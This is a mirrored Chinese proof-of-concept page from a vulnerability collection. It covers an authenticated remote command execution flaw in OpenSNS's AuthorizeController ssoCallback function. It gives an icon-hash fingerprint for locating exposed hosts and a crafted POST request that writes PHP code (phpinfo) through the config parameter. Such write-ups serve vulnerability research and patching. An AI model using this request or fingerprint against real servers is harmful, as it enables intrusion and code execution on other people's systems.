mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 11:27:43 +00:00
41 lines
858 B
Markdown
41 lines
858 B
Markdown
# OpenSNS AuthorizeController.class.php 后台远程命令执行漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
OpenSNS AuthorizeController.class.php文件 ssoCallback() 函数存在命令执行漏洞，在登录的情况下可以获取服务器权限
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
OpenSNS
|
||
```
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
icon_hash="1167011145"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面如下
|
||
|
||
|
||
|
||
存在漏洞的文件为 `Application/Admin/Controller/AuthorizeController.class.php`
|
||
|
||
|
||
|
||
其中 config参数可控，构造请求就可以通过 file_put_contents 写入执行任意命令
|
||
|
||
|
||
|
||
构造请求包
|
||
|
||
```
|
||
POST /admin.php?s=/Authorize/ssoCallback\
|
||
|
||
config[SSO_CONFIG]=phpinfo();
|
||
```
|
||
|
||
 |